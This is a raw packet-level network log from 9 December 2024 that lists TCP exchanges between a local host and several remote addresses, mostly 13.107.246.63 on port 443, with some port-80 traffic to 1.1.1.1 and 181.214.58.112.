Dec 9, 2024 06:50:48.801657915 CET	49960	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.801883936 CET	49960	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.801904917 CET	443	49960	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.830872059 CET	443	49954	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.831279039 CET	443	49955	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.833313942 CET	443	49953	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.833972931 CET	443	49954	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.834031105 CET	49954	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.834065914 CET	49954	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.834076881 CET	443	49954	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.834088087 CET	49954	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.834091902 CET	443	49954	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.834336996 CET	443	49955	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.836785078 CET	443	49953	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.836844921 CET	443	49953	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.836884022 CET	49955	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.836935043 CET	49953	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.836935997 CET	49953	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.837188959 CET	49961	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.837225914 CET	443	49961	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.837245941 CET	49955	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.837265015 CET	443	49955	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.837285995 CET	49961	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.838378906 CET	49953	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.838383913 CET	443	49953	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.838473082 CET	49953	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.838479042 CET	443	49953	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.839123964 CET	49961	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.839138031 CET	443	49961	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.840373039 CET	49962	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.840418100 CET	443	49962	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.840536118 CET	49963	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.840548038 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.840574026 CET	49962	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.840600967 CET	49963	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.840692043 CET	49962	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.840707064 CET	443	49962	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:48.840841055 CET	49963	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:48.840848923 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:49.053847075 CET	443	49957	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:49.057058096 CET	443	49957	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:49.057121038 CET	49957	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:49.057238102 CET	49957	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:49.057261944 CET	443	49957	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:49.057286024 CET	49957	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:49.057291031 CET	443	49957	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:49.059957981 CET	49964	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:49.060005903 CET	443	49964	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:49.060106039 CET	49964	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:49.060233116 CET	49964	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:49.060247898 CET	443	49964	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:49.614295959 CET	80	49959	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:49.614373922 CET	49959	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:49.623699903 CET	49965	443	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:49.623743057 CET	443	49965	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:49.623837948 CET	49965	443	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:49.637864113 CET	49965	443	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:49.637928009 CET	443	49965	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:49.637991905 CET	49965	443	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:50.515023947 CET	443	49960	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.515470982 CET	49960	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.515491962 CET	443	49960	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.515993118 CET	49960	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.515997887 CET	443	49960	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.555407047 CET	443	49961	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.555435896 CET	443	49962	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.556375980 CET	49961	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.556411982 CET	443	49961	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.557004929 CET	49961	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.557010889 CET	443	49961	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.557359934 CET	49962	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.557384968 CET	443	49962	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.558005095 CET	49962	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.558011055 CET	443	49962	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.559957981 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.560277939 CET	49963	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.560286999 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.560656071 CET	49963	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.560659885 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.721399069 CET	49959	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:50.774527073 CET	443	49964	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.775141001 CET	49964	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.775163889 CET	443	49964	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.775882959 CET	49964	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.775887966 CET	443	49964	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.840653896 CET	80	49959	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:50.948616982 CET	443	49960	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.948801041 CET	443	49960	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.948894024 CET	49960	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.948966026 CET	49960	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.948982000 CET	443	49960	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.948995113 CET	49960	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.948999882 CET	443	49960	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.951690912 CET	49966	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.951730967 CET	443	49966	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.951834917 CET	49966	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.951980114 CET	49966	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.951994896 CET	443	49966	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.988888979 CET	443	49961	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.988920927 CET	443	49961	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.988980055 CET	49961	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.988984108 CET	443	49961	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.989032984 CET	49961	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.989264965 CET	49961	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.989288092 CET	443	49961	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.989303112 CET	49961	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.989309072 CET	443	49961	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.989648104 CET	443	49962	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.992245913 CET	49967	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.992290974 CET	443	49967	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.992497921 CET	49967	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.992697001 CET	49967	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.992714882 CET	443	49967	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.992769957 CET	443	49962	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.992856979 CET	49962	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.992892981 CET	49962	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.992909908 CET	443	49962	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.992928028 CET	49962	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.992933989 CET	443	49962	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.993853092 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.995182991 CET	49968	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.995199919 CET	443	49968	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.995260954 CET	49968	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.995383978 CET	49968	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.995394945 CET	443	49968	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.996936083 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.996988058 CET	49963	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.996997118 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.997009993 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.997055054 CET	49963	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.997098923 CET	49963	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.997103930 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.997113943 CET	49963	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.997117043 CET	443	49963	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.999017954 CET	49969	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.999052048 CET	443	49969	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:50.999118090 CET	49969	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.999259949 CET	49969	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:50.999272108 CET	443	49969	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:51.035649061 CET	80	49959	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:51.035713911 CET	49959	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:51.208961010 CET	443	49964	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:51.211980104 CET	443	49964	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:51.212052107 CET	49964	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:51.212121010 CET	49964	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:51.212136984 CET	443	49964	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:51.212152004 CET	49964	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:51.212157011 CET	443	49964	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:51.214968920 CET	49970	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:51.215028048 CET	443	49970	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:51.215126991 CET	49970	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:51.215269089 CET	49970	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:51.215279102 CET	443	49970	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.125667095 CET	49959	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:52.245177984 CET	80	49959	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:52.439909935 CET	80	49959	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:52.440022945 CET	49959	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:52.633285046 CET	49971	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:52.673516035 CET	443	49966	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.675054073 CET	49966	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:52.675091982 CET	443	49966	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.675518036 CET	49966	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:52.675529957 CET	443	49966	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.805509090 CET	443	49968	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.805555105 CET	443	49967	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.806066990 CET	49968	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:52.806107998 CET	443	49968	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.806508064 CET	49968	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:52.806514025 CET	443	49968	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.806726933 CET	49967	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:52.806736946 CET	443	49967	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.807099104 CET	49967	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:52.807105064 CET	443	49967	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.809751987 CET	443	49969	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.810184956 CET	49969	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:52.810208082 CET	443	49969	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.810648918 CET	49969	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:52.810652971 CET	443	49969	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.919214964 CET	80	49971	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:52.919292927 CET	49971	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:52.921227932 CET	49971	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:52.929873943 CET	443	49970	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.930532932 CET	49970	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:52.930567026 CET	443	49970	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:52.931303978 CET	49970	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:52.931309938 CET	443	49970	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.040524960 CET	80	49971	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:53.234019041 CET	443	49966	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.235435009 CET	443	49966	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.235491991 CET	443	49966	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.235526085 CET	49966	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.235574007 CET	49966	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.235675097 CET	49966	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.235690117 CET	443	49966	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.235701084 CET	49966	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.235706091 CET	443	49966	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.238552094 CET	49972	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.238575935 CET	443	49972	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.238795996 CET	49972	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.238878965 CET	443	49967	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.238972902 CET	49972	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.238995075 CET	443	49972	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.239177942 CET	443	49968	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.242630959 CET	443	49969	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.243539095 CET	443	49967	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.243597031 CET	49967	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.243613005 CET	443	49968	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.243627071 CET	49967	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.243642092 CET	443	49967	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.243654013 CET	49967	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.243659973 CET	443	49967	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.243664980 CET	49968	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.243712902 CET	49968	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.243721008 CET	443	49968	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.243735075 CET	49968	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.243738890 CET	443	49968	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.246308088 CET	443	49969	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.246401072 CET	49969	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.246517897 CET	49969	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.246529102 CET	443	49969	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.246540070 CET	49969	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.246542931 CET	49974	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.246545076 CET	443	49969	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.246565104 CET	49973	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.246583939 CET	443	49974	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.246609926 CET	443	49973	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.246691942 CET	49974	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.246694088 CET	49973	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.247190952 CET	49974	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.247200966 CET	443	49974	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.247298002 CET	49973	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.247325897 CET	443	49973	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.248526096 CET	49975	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.248544931 CET	443	49975	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.248668909 CET	49975	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.248781919 CET	49975	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.248795986 CET	443	49975	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.363363028 CET	443	49970	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.367213011 CET	443	49970	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.367259979 CET	443	49970	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.367333889 CET	49970	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.367507935 CET	49970	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.367547989 CET	443	49970	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.367571115 CET	49970	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.367579937 CET	443	49970	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.370409012 CET	49976	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.370452881 CET	443	49976	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:53.370546103 CET	49976	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.370703936 CET	49976	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:53.370718002 CET	443	49976	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.954191923 CET	443	49972	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.954741001 CET	49972	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:54.954781055 CET	443	49972	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.955231905 CET	49972	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:54.955240011 CET	443	49972	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.959770918 CET	443	49973	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.960139036 CET	49973	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:54.960145950 CET	443	49973	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.960441113 CET	443	49974	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.960586071 CET	49973	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:54.960589886 CET	443	49973	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.960797071 CET	49974	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:54.960815907 CET	443	49974	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.961296082 CET	49974	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:54.961303949 CET	443	49974	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.961374998 CET	443	49975	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.961864948 CET	49975	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:54.961873055 CET	443	49975	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:54.962398052 CET	49975	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:54.962402105 CET	443	49975	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.085347891 CET	443	49976	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.086942911 CET	49976	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.086976051 CET	443	49976	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.087512970 CET	49976	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.087522030 CET	443	49976	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.389019966 CET	443	49972	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.389092922 CET	443	49972	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.389188051 CET	49972	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.389566898 CET	49972	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.389591932 CET	443	49972	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.389604092 CET	49972	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.389610052 CET	443	49972	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.392596960 CET	443	49973	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.393824100 CET	443	49974	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.395109892 CET	49977	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.395142078 CET	443	49977	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.395256996 CET	443	49975	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.395303011 CET	49977	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.395661116 CET	49977	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.395674944 CET	443	49977	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.396246910 CET	443	49973	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.397032976 CET	443	49974	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.397119045 CET	49973	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.397166014 CET	49974	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.398248911 CET	443	49975	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.399032116 CET	49975	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.401210070 CET	49973	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.401232958 CET	443	49973	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.401245117 CET	49973	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.401251078 CET	443	49973	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.408075094 CET	49975	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.408075094 CET	49975	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.408107996 CET	443	49975	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.408118010 CET	443	49975	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.408715010 CET	49974	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.408759117 CET	443	49974	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.408777952 CET	49974	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.408785105 CET	443	49974	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.411032915 CET	49978	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.411076069 CET	443	49978	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.411140919 CET	49978	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.411792994 CET	49978	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.411803007 CET	443	49978	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.413173914 CET	49979	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.413194895 CET	443	49979	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.413324118 CET	49979	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.413988113 CET	49980	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.414036036 CET	443	49980	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.414087057 CET	49980	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.414290905 CET	49979	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.414304972 CET	443	49979	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.414530039 CET	49980	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.414542913 CET	443	49980	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.518591881 CET	443	49976	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.522361994 CET	443	49976	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.522444010 CET	49976	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.522532940 CET	49976	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.522555113 CET	443	49976	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.522571087 CET	49976	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.522577047 CET	443	49976	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.525707006 CET	49981	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.525738955 CET	443	49981	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:55.525849104 CET	49981	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.526088953 CET	49981	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:55.526103020 CET	443	49981	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.112051010 CET	443	49977	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.112605095 CET	49977	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.112621069 CET	443	49977	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:57.113266945 CET	49977	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:57.113271952 CET	443	49977	13.107.246.63	192.168.2.11
